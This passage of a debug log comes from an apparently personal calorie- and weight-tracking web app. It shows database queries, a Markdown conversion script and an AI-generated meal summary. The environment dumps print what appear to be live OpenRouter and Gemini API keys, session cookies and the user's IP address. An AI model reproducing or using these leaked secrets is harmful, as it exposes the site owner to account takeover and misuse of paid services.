    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '216',
    surplus_or_deficit: '2184',
    status_flag: 2
  }
]
2025-12-19T05:29:33.554Z server-connect:app Executing action step identify
2025-12-19T05:29:33.554Z server-connect:app options: { provider: 'security' }
2025-12-19T05:29:33.554Z server-connect:output identity: 1
2025-12-19T05:33:36.698Z server-connect:app Executing action step identify
2025-12-19T05:33:36.698Z server-connect:app options: { provider: 'security' }
2025-12-19T05:33:36.699Z server-connect:output identity: 1
2025-12-19T05:33:40.000Z server-connect:app Executing action step identify
2025-12-19T05:33:40.000Z server-connect:app options: { provider: 'security' }
2025-12-19T05:33:40.000Z server-connect:output identity: 1
2025-12-19T05:39:39.823Z server-connect:router Serving serverConnect /api/gemini/calculate-health-summary
2025-12-19T05:39:39.823Z server-connect:app Executing action step identify
2025-12-19T05:39:39.823Z server-connect:app options: { provider: 'security' }
2025-12-19T05:39:39.823Z server-connect:output identity: 1
2025-12-19T05:39:39.823Z server-connect:app Executing action step restrict
2025-12-19T05:39:39.824Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:39:39.825Z server-connect:output restrict: undefined
2025-12-19T05:39:39.825Z server-connect:app Executing action step select
2025-12-19T05:39:39.825Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `item_name`, `calories`, `protein_gm`, `carbs_gm`, `fat_gm`, `quantity` from `calories_tracking` where `calories_tracking`.`intake_date` = ?'
  }
}
2025-12-19T05:39:39.827Z server-connect:output items_consumed_today: [
  {
    id: 447,
    item_name: 'Walnut',
    calories: 26,
    protein_gm: 1,
    carbs_gm: 1,
    fat_gm: 3,
    quantity: '2 pieces'
  },
  {
    id: 448,
    item_name: 'Pre-workout',
    calories: 10,
    protein_gm: 0,
    carbs_gm: 2,
    fat_gm: 0,
    quantity: '1 scoop'
  },
  {
    id: 449,
    item_name: 'Milk Tea (without sugar)',
    calories: 60,
    protein_gm: 3,
    carbs_gm: 5,
    fat_gm: 3,
    quantity: '100 ml'
  },
  {
    id: 450,
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)'
  }
]
2025-12-19T05:39:39.827Z server-connect:app Executing action step paged
2025-12-19T05:39:39.827Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'health_weight_trackor' },
    joins: [],
    orders: [ [Object] ],
    query: 'select `date`, `weight` from `health_weight_trackor` order by `date` DESC limit ?',
    limit: 15
  }
}
2025-12-19T05:39:39.829Z server-connect:output weight_logs: {
  offset: 0,
  limit: 15,
  total: 14,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    { date: '2025-12-17T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-16T18:30:00.000Z', weight: '70.15' },
    { date: '2025-12-15T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-11T18:30:00.000Z', weight: '70.30' },
    { date: '2025-12-09T18:30:00.000Z', weight: '70.95' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-08T18:30:00.000Z', weight: '71.15' },
    { date: '2025-12-05T18:30:00.000Z', weight: '72.40' },
    { date: '2025-12-04T18:30:00.000Z', weight: '71.20' },
    { date: '2025-12-03T18:30:00.000Z', weight: '71.40' },
    { date: '2025-12-02T18:30:00.000Z', weight: '70.80' },
    { date: '2025-12-01T18:30:00.000Z', weight: '71.40' },
    { date: '2025-11-30T18:30:00.000Z', weight: '72.40' },
    { date: '2025-11-28T18:30:00.000Z', weight: '71.80' }
  ]
}
2025-12-19T05:39:39.829Z server-connect:app Executing action step run
2025-12-19T05:39:39.829Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Items consumed today");\n' +
    'return md;',
  data: { dynamicJson: '{{items_consumed_today}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T05:39:39.830Z server-connect:output items_consumed: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n'
2025-12-19T05:39:39.830Z server-connect:app Executing action step run
2025-12-19T05:39:39.830Z server-connect:app options: {
  code: 'function jsonToMarkdown(data, title = "Report", level = 2) {\n' +
    '  let md = "";\n' +
    '\n' +
    '  if (level === 2) {\n' +
    '    md += `## ${title}\\n\\n`;\n' +
    '  }\n' +
    '\n' +
    '  if (Array.isArray(data)) {\n' +
    '    if (!data.length) return "_No data_\\n\\n";\n' +
    '\n' +
    '    // Array of objects → table\n' +
    '    if (typeof data[0] === "object" && data[0] !== null) {\n' +
    '      const headers = Object.keys(data[0]);\n' +
    '\n' +
    '      md += `| ${headers.join(" | ")} |\\n`;\n' +
    '      md += `| ${headers.map(() => "---").join(" | ")} |\\n`;\n' +
    '\n' +
    '      data.forEach(row => {\n' +
    '        md += `| ${headers.map(h => row[h] ?? "").join(" | ")} |\\n`;\n' +
    '      });\n' +
    '\n' +
    '      md += "\\n";\n' +
    '      return md;\n' +
    '    }\n' +
    '\n' +
    '    // Array of primitives\n' +
    '    return data.map(v => `- ${v}`).join("\\n") + "\\n\\n";\n' +
    '  }\n' +
    '\n' +
    '  if (typeof data === "object" && data !== null) {\n' +
    '    for (const key in data) {\n' +
    '      const value = data[key];\n' +
    '      const label = key\n' +
    '        .replace(/_/g, " ")\n' +
    '        .replace(/([a-z])([A-Z])/g, "$1 $2")\n' +
    '        .replace(/\\b\\w/g, l => l.toUpperCase());\n' +
    '\n' +
    '      if (typeof value === "object") {\n' +
    '        md += `${"#".repeat(level)} ${label}\\n\\n`;\n' +
    '        md += jsonToMarkdown(value, "", level + 1);\n' +
    '      } else {\n' +
    '        md += `- **${label}:** ${value}\\n`;\n' +
    '      }\n' +
    '    }\n' +
    '    md += "\\n";\n' +
    '  }\n' +
    '\n' +
    '  return md;\n' +
    '}\n' +
    '\n' +
    'const md = jsonToMarkdown(dynamicJson, "Weight Logs");\n' +
    'return md;',
  data: { dynamicJson: '{{weight_logs.data}}' },
  show_errors: true,
  throw_errors: true
}
2025-12-19T05:39:39.830Z server-connect:output weight_logs: '## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T05:39:39.831Z server-connect:app Executing action step setvalue
2025-12-19T05:39:39.831Z server-connect:app options: { key: 'raw_value', value: "{{items_consumed+' '+weight_logs}}" }
2025-12-19T05:39:39.831Z server-connect:output raw_value: '## Items consumed today\n' +
  '\n' +
  '| id | item_name | calories | protein_gm | carbs_gm | fat_gm | quantity |\n' +
  '| --- | --- | --- | --- | --- | --- | --- |\n' +
  '| 447 | Walnut | 26 | 1 | 1 | 3 | 2 pieces |\n' +
  '| 448 | Pre-workout | 10 | 0 | 2 | 0 | 1 scoop |\n' +
  '| 449 | Milk Tea (without sugar) | 60 | 3 | 5 | 3 | 100 ml |\n' +
  '| 450 | Whey Protein | 120 | 27 | 3 | 1 | 1 scoop (27g protein) |\n' +
  '\n' +
  ' ## Weight Logs\n' +
  '\n' +
  '| date | weight |\n' +
  '| --- | --- |\n' +
  '| 2025-12-17T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-16T18:30:00.000Z | 70.15 |\n' +
  '| 2025-12-15T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-11T18:30:00.000Z | 70.30 |\n' +
  '| 2025-12-09T18:30:00.000Z | 70.95 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-08T18:30:00.000Z | 71.15 |\n' +
  '| 2025-12-05T18:30:00.000Z | 72.40 |\n' +
  '| 2025-12-04T18:30:00.000Z | 71.20 |\n' +
  '| 2025-12-03T18:30:00.000Z | 71.40 |\n' +
  '| 2025-12-02T18:30:00.000Z | 70.80 |\n' +
  '| 2025-12-01T18:30:00.000Z | 71.40 |\n' +
  '| 2025-11-30T18:30:00.000Z | 72.40 |\n' +
  '| 2025-11-28T18:30:00.000Z | 71.80 |\n' +
  '\n'
2025-12-19T05:39:39.831Z server-connect:app Executing action step processWithGemini
2025-12-19T05:39:39.831Z server-connect:app options: {
  request_type: 'meal_summary',
  raw_text: '{{raw_value}}',
  socket_id: '{{$_GET.so_id}}'
}
2025-12-19T05:39:41.344Z server-connect:output health_summary: {
  summary: "Today's intake focused on post-workout recovery with a protein supplement. The limited food log makes a comprehensive assessment challenging, but the inclusion of healthy fats from walnuts is positive. Consistent early morning gym sessions are a strong foundation for your goals.  Further details on other meals would provide a clearer picture of overall nutritional balance.",
  rating: 6,
  good_points: [
    'Inclusion of a post-workout protein source to aid muscle recovery.',
    'Incorporation of healthy fats from walnuts.',
    'Consistent adherence to early morning gym sessions.'
  ],
  bad_points: [
    'Very limited food logging, making it difficult to assess overall nutritional balance.',
    'Lack of information on other meals throughout the day.',
    'Potential for insufficient overall nutrient intake due to sparse logging.'
  ],
  suggestions: [
    'Ensure adequate protein intake across all meals to support muscle development.',
    'Incorporate a variety of whole foods, including complex carbohydrates and fiber-rich options.',
    'Hydrate well throughout the day, especially around workouts.',
    'Log all food and beverage intake for a more accurate assessment.'
  ],
  predicted_weight_trend: 'gradual loss',
  predicted_weight: 70.1
}
2025-12-19T05:39:41.344Z server-connect:app Executing action step condition
2025-12-19T05:39:41.344Z server-connect:app options: {
  if: '{{health_summary.rating>0}}',
  then: { steps: [ [Object], [Object] ] }
}
2025-12-19T05:39:41.344Z server-connect:app Executing action step delete
2025-12-19T05:39:41.344Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'health_summary',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `health_summary` where `date` = ?',
    params: [ [Object] ]
  }
}
2025-12-19T05:39:41.346Z server-connect:output delete: { affected: 0 }
2025-12-19T05:39:41.346Z server-connect:app Executing action step insert
2025-12-19T05:39:41.346Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'health_summary',
    returning: 'id',
    query: 'insert into `health_summary` (`date`, `summary`) values (?, ?)',
    params: [ [Object], [Object] ]
  }
}
2025-12-19T05:39:41.347Z server-connect:output insert: { affected: 1, identity: 39 }
2025-12-19T05:39:41.347Z server-connect:output condition: undefined
2025-12-19T05:39:41.726Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-19T05:39:41.727Z server-connect:app Executing action step identify
2025-12-19T05:39:41.727Z server-connect:app options: { provider: 'security' }
2025-12-19T05:39:41.727Z server-connect:output identity: 1
2025-12-19T05:39:41.727Z server-connect:app Executing action step restrict
2025-12-19T05:39:41.727Z server-connect:app options: { provider: 'security' }
2025-12-19T05:39:41.727Z server-connect:output restrict: undefined
2025-12-19T05:39:41.727Z server-connect:app Executing action step single
2025-12-19T05:39:41.727Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-19T05:39:41.728Z server-connect:output summary: {
  summary: {
    rating: 6,
    summary: "Today's intake focused on post-workout recovery with a protein supplement. The limited food log makes a comprehensive assessment challenging, but the inclusion of healthy fats from walnuts is positive. Consistent early morning gym sessions are a strong foundation for your goals.  Further details on other meals would provide a clearer picture of overall nutritional balance.",
    bad_points: [
      'Very limited food logging, making it difficult to assess overall nutritional balance.',
      'Lack of information on other meals throughout the day.',
      'Potential for insufficient overall nutrient intake due to sparse logging.'
    ],
    good_points: [
      'Inclusion of a post-workout protein source to aid muscle recovery.',
      'Incorporation of healthy fats from walnuts.',
      'Consistent adherence to early morning gym sessions.'
    ],
    suggestions: [
      'Ensure adequate protein intake across all meals to support muscle development.',
      'Incorporate a variety of whole foods, including complex carbohydrates and fiber-rich options.',
      'Hydrate well throughout the day, especially around workouts.',
      'Log all food and beverage intake for a more accurate assessment.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'gradual loss'
  },
  date: '2025-12-18T18:30:00.000Z'
}
2025-12-19T05:39:58.669Z server-connect:router Serving templateView /weight-trackor
2025-12-19T05:39:58.669Z server-connect:app Executing action step identify
2025-12-19T05:39:58.669Z server-connect:app options: { provider: 'security' }
2025-12-19T05:39:58.669Z server-connect:output identity: 1
2025-12-19T05:39:58.669Z server-connect:app Executing action step restrict
2025-12-19T05:39:58.669Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:39:58.670Z server-connect:output restrict: undefined
2025-12-19T05:39:58.670Z server-connect:router Render template weight-trackor
2025-12-19T05:39:58.670Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"macOS"',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T18:03:30.349Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"macOS"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"c29-gPZXBogqgzOlsbT6txxpoq3GCmo"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AUXR9PGHg20u98CezKnbM6A%3D%3D.HQjqbFQJaUeOA16R7LVCZ3MZO9dS4KZQF%2FHKa%2Fio68utJFW5xPVTRwPx3zwidt%2Bx55JQpJ5WIV9ZTtegqThUwpG59ik2n%2BNaqlPxs3jVynt%2Bo2Lfnll%2FRVSPP1wHw%2B1PYAU6jIFVKHn1Sal2N0gDPvsfveh7fV37vO%2FsaAAXpIA%3D.JUd%2BSbeaCaVC4uGqHXwZ4G7V4Iv65IJMMEucDgtr4WQ; your_r_git.sid=s%3ArE092nvus6qi8O329a7fcCgQT17BSJHx.0g08k4LqGga4rYcpclTM98qK35ijxHcG%2BzTFTOJGbXg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-19T05:39:58.887Z server-connect:router Serving serverConnect /api/health/get-weight-log
2025-12-19T05:39:58.887Z server-connect:app Executing action step identify
2025-12-19T05:39:58.887Z server-connect:app options: { provider: 'security' }
2025-12-19T05:39:58.887Z server-connect:output identity: 1
2025-12-19T05:39:58.887Z server-connect:app Executing action step restrict
2025-12-19T05:39:58.887Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:39:58.888Z server-connect:output restrict: undefined
2025-12-19T05:39:58.888Z server-connect:app Executing action step custom
2025-12-19T05:39:58.888Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2025-12-19T05:39:58.888Z server-connect:output list: [
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' },
  { date: 2025-11-30T18:30:00.000Z, weight: '72.40' },
  { date: 2025-11-28T18:30:00.000Z, weight: '71.80' }
]
2025-12-19T05:40:08.669Z server-connect:router Serving serverConnect /api/health/manage-weight
2025-12-19T05:40:08.669Z server-connect:app Executing action step identify
2025-12-19T05:40:08.669Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:08.669Z server-connect:output identity: 1
2025-12-19T05:40:08.669Z server-connect:app Executing action step restrict
2025-12-19T05:40:08.669Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-19T05:40:08.670Z server-connect:output restrict: undefined
2025-12-19T05:40:08.670Z server-connect:app Executing action step insert
2025-12-19T05:40:08.670Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object], [Object], [Object] ],
    table: 'health_weight_trackor',
    query: 'insert into `health_weight_trackor` (`created_by`, `created_on`, `date`, `weight`) values (?, ?, ?, ?)',
    params: [ [Object], [Object], [Object], [Object] ]
  }
}
2025-12-19T05:40:08.671Z server-connect:output weight_log: { affected: 1, identity: 15 }
2025-12-19T05:40:08.876Z server-connect:router Serving templateView /weight-trackor
2025-12-19T05:40:08.877Z server-connect:app Executing action step identify
2025-12-19T05:40:08.877Z server-connect:app options: { provider: 'security' }
2025-12-19T05:40:08.877Z server-connect:output identity: 1
2025-12-19T05:40:08.877Z server-connect:app Executing action step restrict
2025-12-19T05:40:08.877Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-19T05:40:08.877Z server-connect:output restrict: undefined
2025-12-19T05:40:08.877Z server-connect:router Render template layouts/main
2025-12-19T05:40:08.877Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"macOS"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"108d1-zpWXMTCCl060s6Z+DopiuALl0bA"',
    priority: 'u=0, i',
